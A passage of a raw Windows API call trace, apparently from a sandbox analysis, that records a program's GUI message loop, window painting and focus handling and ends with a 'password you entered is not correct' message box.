lpMsg=0x18ff1c) returned 0 [0282.894] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=585)) returned 1 [0282.894] WindowFromPoint (Point=0x341) returned 0xc0060 [0282.894] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24b0341) returned 0x1 [0282.894] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.894] GetCurrentProcessId () returned 0x8d0 [0282.894] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0282.894] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.894] PtInRect (lprc=0x18fed0, pt=0x16a) returned 0 [0282.894] GetCapture () returned 0x0 [0282.894] WaitMessage () returned 1 [0282.910] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.910] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2530342) returned 0x1 [0282.910] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=834, y=595)) returned 1 [0282.910] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0282.910] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0282.910] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0282.910] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.910] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.910] GetCapture () returned 0x0 [0282.910] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0282.910] WindowFromPoint (Point=0x342) returned 0x10340 [0282.910] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2530342) returned 0x1 [0282.910] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0282.910] GetCurrentProcessId () returned 0x8d0 [0282.910] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.911] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0282.911] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x70024) returned 0x0 [0282.911] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f958 | out: lpdwProcessId=0x18f958) returned 0x8cc [0282.911] GetCurrentProcessId () returned 0x8d0 [0282.911] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.911] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbc8) returned 0x0 [0282.911] GetKeyState (nVirtKey=18) returned 1 [0282.911] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.911] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.911] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.911] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.911] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0282.911] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0282.911] IsIconic (hWnd=0xc0060) returned 0 [0282.911] IsIconic (hWnd=0xc0060) returned 0 [0282.911] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0282.911] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0282.911] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0282.912] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0282.912] GetSysColor (nIndex=8) returned 0x0 [0282.912] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0282.912] GetSysColor (nIndex=15) returned 0xf0f0f0 [0282.912] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0282.912] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0282.912] GetCurrentProcessId () returned 0x8d0 [0282.912] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.912] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0282.912] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0282.912] GetCurrentProcessId () returned 0x8d0 [0282.912] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.912] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0282.912] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0282.912] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0282.912] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0282.913] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.913] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=595)) returned 1 [0282.913] WindowFromPoint (Point=0x342) returned 0x10340 [0282.913] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2560342) returned 0x1 [0282.913] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.913] GetCurrentProcessId () returned 0x8d0 [0282.913] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.913] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.913] GetCapture () returned 0x0 [0282.913] WaitMessage () returned 1 [0282.969] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.969] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.969] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.969] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.970] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.970] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=595)) returned 1 [0282.970] WindowFromPoint (Point=0x342) returned 0x10340 [0282.970] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2530342) returned 0x1 [0282.970] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.970] GetCurrentProcessId () returned 0x8d0 [0282.970] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.970] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.970] GetCapture () returned 0x0 [0282.970] WaitMessage () returned 1 [0283.034] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0283.034] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0283.034] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0283.034] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0283.034] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0283.034] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=595)) returned 1 [0283.034] WindowFromPoint (Point=0x342) returned 0x10340 [0283.034] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2530342) returned 0x1 [0283.034] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0283.035] GetCurrentProcessId () returned 0x8d0 [0283.035] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0283.035] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0283.035] GetCapture () returned 0x0 [0283.035] WaitMessage () returned 1 [0283.094] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0283.094] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0283.094] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0283.094] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0283.094] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0283.094] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=595)) returned 1 [0283.095] WindowFromPoint (Point=0x341) returned 0x10340 [0283.095] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2560341) returned 0x1 [0283.095] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0283.095] GetCurrentProcessId () returned 0x8d0 [0283.095] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0283.095] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0283.095] GetCapture () returned 0x0 [0283.095] WaitMessage () returned 1 [0283.157] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0283.157] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0283.157] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0283.157] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0283.158] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0283.158] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=595)) returned 1 [0283.158] WindowFromPoint (Point=0x342) returned 0x10340 [0283.158] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2530342) returned 0x1 [0283.158] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0283.158] GetCurrentProcessId () returned 0x8d0 [0283.158] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0283.158] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0283.158] GetCapture () returned 0x0 [0283.158] WaitMessage () returned 1 [0283.314] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0283.315] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2530342) returned 0x1 [0283.315] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x210, wParam=0x201, lParam=0x14e016b) returned 0x0 [0283.315] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0283.315] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0283.316] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=834, y=595)) returned 1 [0283.316] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0283.316] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0283.316] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0283.316] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0283.316] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0283.316] GetFocus () returned 0x1035c [0283.316] SetFocus (hWnd=0x10340) returned 0x1035c [0283.316] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x8, wParam=0x10340, lParam=0x0) returned 0x1 [0283.316] GetWindowThreadProcessId (in: hWnd=0x1035c, lpdwProcessId=0x18f7ec | out: lpdwProcessId=0x18f7ec) returned 0x8cc [0283.316] GetCurrentProcessId () returned 0x8d0 [0283.317] GetPropA (hWnd=0x1035c, lpString=0xc167) returned 0x2c746a0 [0283.317] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0283.318] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0283.318] SendMessageA (hWnd=0x1035c, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0283.318] SendMessageA (hWnd=0x1035a, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0283.318] SendMessageA (hWnd=0x40338, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0283.318] SendMessageA (hWnd=0xb0168, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0283.318] SendMessageA (hWnd=0x60050, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0283.318] SendMessageA (hWnd=0x10340, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0283.318] GetClientRect (in: hWnd=0x10340, lpRect=0x18fb64 | out: lpRect=0x18fb64) returned 1 [0283.318] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0283.318] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0283.318] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0283.318] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0283.319] IsIconic (hWnd=0xc0060) returned 0 [0283.319] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0283.319] IsIconic (hWnd=0xc0060) returned 0 [0283.319] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0283.319] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0283.319] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0283.319] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0283.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x7, wParam=0x1035c, lParam=0x0) returned 0x0 [0283.319] GetFocus () returned 0x10340 [0283.319] GetCapture () returned 0x0 [0283.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb004, wParam=0x0, lParam=0x2c86b08) returned 0x0 [0283.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x201, wParam=0x1, lParam=0x70024) returned 0x0 [0283.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x1, lParam=0x0) returned 0x0 [0283.319] GetKeyState (nVirtKey=18) returned 1 [0283.319] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0283.319] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0283.319] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0283.319] GetCapture () returned 0x10340 [0283.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x202, wParam=0x0, lParam=0x70024) returned 0x0 [0283.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x0, lParam=0x0) returned 0x0 [0283.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0283.319] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f9c0 | out: lpdwProcessId=0x18f9c0) returned 0x8cc [0283.319] GetCurrentProcessId () returned 0x8d0 [0283.320] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0283.320] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0283.320] GetCursor () returned 0x10003 [0283.320] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0283.320] SetCursor (hCursor=0x10007) returned 0x10003 [0283.320] Sleep (dwMilliseconds=0x2ee) [0284.077] SetCursor (hCursor=0x10003) returned 0x10007 [0284.077] IsIconic (hWnd=0x2024a) returned 0 [0284.077] GetWindowLongA (hWnd=0x2024a, nIndex=-16) returned -1798701056 [0284.077] GetWindowLongA (hWnd=0x2024a, nIndex=-20) returned 256 [0284.077] GetActiveWindow () returned 0xc0060 [0284.078] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0284.078] GetProcAddress (hModule=0x76860000, lpProcName="MonitorFromWindow") returned 0x76883150 [0284.078] GetProcAddress (hModule=0x76860000, lpProcName="GetMonitorInfoA") returned 0x76884413 [0284.078] MonitorFromWindow (hwnd=0xc0060, dwFlags=0x2) returned 0x10001 [0284.078] MonitorFromWindow (hwnd=0x2024a, dwFlags=0x2) returned 0x10001 [0284.078] GetActiveWindow () returned 0xc0060 [0284.078] GetCurrentThreadId () returned 0x8cc [0284.078] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0284.078] IsWindowVisible (hWnd=0x20330) returned 0 [0284.079] IsWindowVisible (hWnd=0x20334) returned 0 [0284.079] IsWindowVisible (hWnd=0xc0060) returned 1 [0284.079] IsWindowEnabled (hWnd=0xc0060) returned 1 [0284.079] EnableWindow (hWnd=0xc0060, bEnable=0) returned 0 [0284.079] GetCapture () returned 0x0 [0284.079] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0284.079] GetCapture () returned 0x0 [0284.079] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0284.079] IsWindowVisible (hWnd=0x80042) returned 0 [0284.079] IsWindowVisible (hWnd=0x2024a) returned 1 [0284.079] IsWindowEnabled (hWnd=0x2024a) returned 1 [0284.079] EnableWindow (hWnd=0x2024a, bEnable=0) returned 0 [0284.079] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0284.079] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0284.079] GetCurrentThreadId () returned 0x8cc [0284.079] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0284.079] IsWindowVisible (hWnd=0x20330) returned 0 [0284.079] IsWindowVisible (hWnd=0x20334) returned 0 [0284.079] IsWindowVisible (hWnd=0xc0060) returned 1 [0284.079] IsWindowEnabled (hWnd=0xc0060) returned 0 [0284.080] IsWindowVisible (hWnd=0x80042) returned 0 [0284.080] IsWindowVisible (hWnd=0x30312) returned 0 [0284.080] IsWindowVisible (hWnd=0x3032a) returned 0 [0284.080] IsWindowVisible (hWnd=0x50048) returned 0 [0284.080] IsWindowVisible (hWnd=0x70044) returned 0 [0284.080] EnumWindows (lpEnumFunc=0x423eac, lParam=0x18f5b0) returned 0 [0284.080] GetWindow (hWnd=0x20330, uCmd=0x4) returned 0x0 [0284.080] GetWindow (hWnd=0x20334, uCmd=0x4) returned 0x0 [0284.080] GetWindow (hWnd=0x301ac, uCmd=0x4) returned 0x301aa [0284.080] GetWindow (hWnd=0x200f2, uCmd=0x4) returned 0x0 [0284.080] GetWindow (hWnd=0x200fa, uCmd=0x4) returned 0x0 [0284.080] GetWindow (hWnd=0x20104, uCmd=0x4) returned 0x0 [0284.080] GetWindow (hWnd=0x101e0, uCmd=0x4) returned 0x0 [0284.080] GetWindow (hWnd=0x100a4, uCmd=0x4) returned 0x1007c [0284.080] GetWindow (hWnd=0x100a2, uCmd=0x4) returned 0x1007c [0284.080] GetWindow (hWnd=0x1008c, uCmd=0x4) returned 0x1007c [0284.081] GetWindow (hWnd=0x100b8, uCmd=0x4) returned 0x1007c [0284.081] GetWindow (hWnd=0x100ac, uCmd=0x4) returned 0x1007c [0284.081] GetWindow (hWnd=0x100aa, uCmd=0x4) returned 0x1007c [0284.081] GetWindow (hWnd=0x100a6, uCmd=0x4) returned 0x1007c [0284.081] GetWindow (hWnd=0x10084, uCmd=0x4) returned 0x1007c [0284.081] GetWindow (hWnd=0x1007c, uCmd=0x4) returned 0x0 [0284.081] GetWindow (hWnd=0x101b4, uCmd=0x4) returned 0x201b2 [0284.081] GetWindow (hWnd=0x10118, uCmd=0x4) returned 0x0 [0284.081] GetWindow (hWnd=0x500c2, uCmd=0x4) returned 0x0 [0284.081] GetWindow (hWnd=0x100ba, uCmd=0x4) returned 0x0 [0284.081] GetWindow (hWnd=0xc0060, uCmd=0x4) returned 0x80042 [0284.081] GetWindow (hWnd=0x80042, uCmd=0x4) returned 0x2024a [0284.081] GetWindowLongA (hWnd=0x80042, nIndex=-20) returned 256 [0284.081] IsWindowVisible (hWnd=0x30312) returned 0 [0284.081] IsWindowVisible (hWnd=0x3032a) returned 0 [0284.081] IsWindowVisible (hWnd=0x50048) returned 0 [0284.082] IsWindowVisible (hWnd=0x70044) returned 0 [0284.082] MessageBoxA (hWnd=0x2024a, lpText="The password you entered is not correct. Please try again.", lpCaption="Error", uType=0x30) returned 1 [0284.084] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0284.089] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x86, wParam=0x0, lParam=0x40368) returned 0x1 [0284.092] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0284.092] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0284.092] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0284.093] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x8, wParam=0x60250, lParam=0x0) returned 0x0 [0284.093] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0284.094] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0284.094] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0284.101] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0284.101] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0284.101] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0284.101] GetSysColor (nIndex=8) returned 0x0 [0284.101] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0284.101] GetSysColor (nIndex=5) returned 0xffffff [0284.101] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0284.102] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9b8 | out: lpRect=0x18e9b8) returned 1 [0284.102] FillRect (hDC=0xb010b6a, lprc=0x18e9b8, hbr=0xe100186) returned 1 [0284.102] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0xb010b6a, lParam=0x4) returned 0x0 [0284.102] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9b8 | out: lpRect=0x18e9b8) returned 1 [0284.102] FillRect (hDC=0x3601018c, lprc=0x18e9b8, hbr=0xe100186) returned 1 [0284.102] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x3601018c, lParam=0x4) returned 0x0 [0284.103] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010ba3, lParam=0x1035c) returned 0x2f100178 [0284.103] GetSysColor (nIndex=8) returned 0x0 [0284.103] SetTextColor (hdc=0x2a010ba3, color=0x0) returned 0x0 [0284.103] GetSysColor (nIndex=5) returned 0xffffff [0284.103] SetBkColor (hdc=0x2a010ba3, color=0xffffff) returned 0xffffff [0284.104] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0284.104] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18ef04 | out: lpdwProcessId=0x18ef04) returned 0x8cc [0284.104] GetCurrentProcessId () returned 0x8d0 [0284.104] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0284.104] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f174) returned 0x0 [0284.104] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x7 [0284.104] GetClientRect (in: hWnd=0x10340, lpRect=0x18ee64 | out: lpRect=0x18ee64) returned 1 [0284.104] FillRect (hDC=0x1f01019b, lprc=0x18ee64, hbr=0xe100186) returned 1 [0284.105] IsIconic (hWnd=0xc0060) returned 0 [0284.105] IsIconic (hWnd=0xc0060) returned 0 [0284.105] GetClientRect (in: hWnd=0xc0060, lpRect=0x18ed44 | out: lpRect=0x18ed44) returned 1 [0284.105] FillRect (hDC=0x230107d7, lprc=0x18ed44, hbr=0xe100186) returned 1 [0284.105] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x230107d7, lParam=0x4) returned 0x0 [0284.105] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x230107d7, lParam=0x10340) returned 0xe100186 [0284.105] GetSysColor (nIndex=8) returned 0x0 [0284.105] SetTextColor (hdc=0x230107d7, 